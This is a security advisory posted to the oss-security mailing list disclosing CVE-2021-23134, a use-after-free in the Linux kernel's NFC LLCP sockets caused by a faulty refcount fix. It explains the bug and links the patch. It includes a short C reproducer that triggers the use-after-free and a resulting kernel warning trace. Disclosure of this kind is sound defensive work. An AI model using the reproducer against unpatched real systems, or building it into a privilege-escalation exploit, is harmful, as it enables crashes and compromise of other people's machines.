Date: Tue, 11 May 2021 12:01:24 +0300
From: Nadav Markus <nmarkus@...oaltonetworks.com>
To: oss-security@...ts.openwall.com
Cc: Or Cohen <orcohen@...oaltonetworks.com>
Subject: CVE-2021-23134: Linux kernel: UAF in nfc sockets

Hello,

This is an announcement about CVE-2021-23134. This is a vulnerability
in the linux kernel that we found in the implementation of nfc sockets
(in net/nfc/llcp_sock.c). This can lead to kernel privilege escalation
from the context of an unprivileged user.

The patch can be found here:
https://git.kernel.org/pub/scm/linux/kernel/git/netdev/net.git/commit/?id=c61760e6940d

=*=*=*=*=*=*=*=*= VULNERABILITY DETAILS =*=*=*=*=*=*=*=*=
All of the code figures are from kernel version 5.11.

A recent bug fix to a refcount leak in llcp_sock_connect was issued to
the linux kernel, with the following code changes (targeting an issue
that was named CVE-2020-25670):

```
 net/nfc/llcp_sock.c | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/net/nfc/llcp_sock.c b/net/nfc/llcp_sock.c
index d257ed3b732a..68832ee4b9f8 100644
--- a/net/nfc/llcp_sock.c
+++ b/net/nfc/llcp_sock.c
@@ -108,11 +108,13 @@ static int llcp_sock_bind(struct socket *sock,
struct sockaddr *addr, int alen)
   llcp_sock->service_name_len,
   GFP_KERNEL);
  if (!llcp_sock->service_name) {
+ nfc_llcp_local_put(llcp_sock->local);
  ret = -ENOMEM;
  goto put_dev;
  }
  llcp_sock->ssap = nfc_llcp_get_sdp_ssap(local, llcp_sock);
  if (llcp_sock->ssap == LLCP_SAP_MAX) {
+ nfc_llcp_local_put(llcp_sock->local);
  kfree(llcp_sock->service_name);
  llcp_sock->service_name = NULL;
  ret = -EADDRINUSE;
--
```

The original patch notes says:
```
nfc_llcp_local_get() is invoked in llcp_sock_bind(),
but nfc_llcp_local_put() is not invoked in subsequent failure branches.
As a result, refcount leakage occurs.
To fix it, add calling nfc_llcp_local_put().
```

However, this fix causes a UAF under certain conditions. Specifically,
there is another location where nfc_llcp_local_put is called with
llcp_sock->local - the destructor of the socket:

```
void nfc_llcp_sock_free(struct nfc_llcp_sock *sock)
{
        kfree(sock->service_name);

        skb_queue_purge(&sock->tx_queue);
        skb_queue_purge(&sock->tx_pending_queue);

        list_del_init(&sock->accept_queue);

        sock->parent = NULL;

        nfc_llcp_local_put(sock->local);
}
```

Note that the 'local' field (of type nfc_llcp_local) is acquired from
a global per device list, via the function nfc_llcp_find_local. So if
we can fail the nfc_llcp_get_sdp_ssap for example, the global object
will get its reference count increased only once (via the
nfc_llcp_local_get function), but it will be freed twice (once in the
failure branch in bind, and another time in the destructor of the
socket when the last fd to it is closed).

Our reproducer program looks like this:

```
#include <sys/socket.h>
#include <linux/nfc.h>
#include <string.h>
#include <memory.h>
#include <unistd.h>
#include <stdio.h>
#include <errno.h>

int main() {
    struct sockaddr_nfc_llcp addr = {0};
    int sock1 = socket( AF_NFC, SOCK_STREAM, NFC_SOCKPROTO_LLCP );
    if (sock1 < 0) {
        perror("sock1");
        return -1;
    }
    int sock2 = socket( AF_NFC, SOCK_STREAM, NFC_SOCKPROTO_LLCP );
    if (sock2 < 0) {
        perror("sock2");
        return -1;
    }
    addr.sa_family = AF_NFC;
    addr.nfc_protocol = NFC_PROTO_NFC_DEP;
    bind( sock1, (struct sockaddr*) &addr, sizeof(struct sockaddr_nfc_llcp) );
    bind( sock2, (struct sockaddr*) &addr, sizeof(struct sockaddr_nfc_llcp) );
    close(sock1);
    close(sock2);
    return 0;
}
```

This is the resulting stack trace:

```
[   36.110739] refcount_t: underflow; use-after-free.
[   36.111163] WARNING: CPU: 12 PID: 401 at lib/refcount.c:28
refcount_warn_saturate+0x8d/0xf0
[   36.111864] Modules linked in:
[   36.112142] CPU: 12 PID: 401 Comm: llcp_uaf Not tainted 5.12.0-rc8 #88
[   36.112727] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996),
BIOS Ubuntu-1.8.2-1ubuntu1 04/01/2014
[   36.113562] RIP: 0010:refcount_warn_saturate+0x8d/0xf0
[   36.113990] Code: 05 cc cb 60 01 01 e8 a2 66 c1 ff 0f 0b c3 80 3d
bf cb 60 01 00 75 ad 48 c7 c7 68 90 5a 82 c6 05 af cb 60 01 01 e8 83
66 c1 ff <0f> 0b c3 80 3d a3 cb 60 01 00 75 8e 48 c7 c7 10 90 5a 82 c6
05 93
[   36.115524] RSP: 0018:ffffc900005e7e18 EFLAGS: 00010286
[   36.115959] RAX: 0000000000000000 RBX: ffff88810177fc00 RCX: 0000000000000000
[   36.116562] RDX: ffff88842fd273e0 RSI: ffff88842fd17590 RDI: ffff88842fd17590
```

```
[   36.117167] RBP: ffff8881068f8800 R08: 0000000000000003 R09: 0000000000000001
[   36.117756] R10: 0000000000000000 R11: ffffc900005e7c28 R12: ffff8881068f8a28
[   36.118353] R13: ffff888100440f00 R14: ffff88810177fc00 R15: ffff8881048b3d00
[   36.118943] FS:  00007fa68e298440(0000) GS:ffff88842fd00000(0000)
knlGS:0000000000000000
[   36.119624] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[   36.120115] CR2: 00007fa68dd22d30 CR3: 0000000107956001 CR4: 00000000003706e0
[   36.120713] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
[   36.121314] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400
[   36.121898] Call Trace:
[   36.122127]  nfc_llcp_local_put+0x7d/0x90
[   36.122470]  llcp_sock_destruct+0x20/0x60
[   36.122809]  __sk_destruct+0x1f/0x170
[   36.123139]  llcp_sock_release+0xfe/0x1c0
[   36.123477]  __sock_release+0x38/0xb0
[   36.123785]  sock_close+0xc/0x10
[   36.124058]  __fput+0x85/0x220
[   36.124335]  task_work_run+0x5e/0xa0
[   36.124645]  exit_to_user_mode_prepare+0x11c/0x120
[   36.125080]  syscall_exit_to_user_mode+0x20/0x40
[   36.125506]  entry_SYSCALL_64_after_hwframe+0x44/0xae
[   36.125967] RIP: 0033:0x7fa68ddb7f30
[   36.126278] Code: 00 64 c7 00 0d 00 00 00 b8 ff ff ff ff eb 90 b8
ff ff ff ff eb 89 0f 1f 40 00 83 3d d9 27 2c 00 00 75 10 b8 03 00 00
00 0f 05 <48> 3d 01 f0 ff ff 73 31 c3 48 83 ec 08 e8 be 95 01 00 48 89
04 24
[   36.127813] RSP: 002b:00007ffde905d1c8 EFLAGS: 00000246 ORIG_RAX:
0000000000000003
[   36.128450] RAX: 0000000000000000 RBX: 0000000000000000 RCX: 00007fa68ddb7f30
[   36.129038] RDX: 00007fa68e076380 RSI: 00007fa68e075b58 RDI: 0000000000000004
[   36.129631] RBP: 00007ffde905d250 R08: 00007fa68e298440 R09: 000000000000001d
[   36.130291] R10: 0000000000000692 R11: 0000000000000246 R12: 00000000004005c0
[   36.130909] R13: 00007ffde905d330 R14: 0000000000000000 R15: 0000000000000000
[   36.131507] ---[ end trace 77d2f4e506e4292c ]---
[   39.837966] systemd-journald[197]: Successfully sent stream file
descriptor to service manager.


Note that the two sockets will get the same 'local' object (as they
are related to the same device). So the reference count of local will
start with 1 (once it is in the global list), increased and
immediately decreased by 1 (due to the bind of sock1), increased and
immediately decreased by 1 again (due to the bind of sock2).
Afterwards, it will be reduced to 0 (and therefore the object will be
freed) when sock1 is closed, and the final close (of sock2) will
attempt to decrease the reference of a dangling pointer, leading to
UAF.

Note that a similar flow exists in the llcp_sock_connect function,
where the original patch submitter attempted to fix the issue in the
same manner, leading to the same vulnerability.

=*=*=*=*=*=*=*=*=CREDIT=*=*=*=*=*=*=*=*=

Or Cohen
Nadav Markus
Palo Alto Networks
```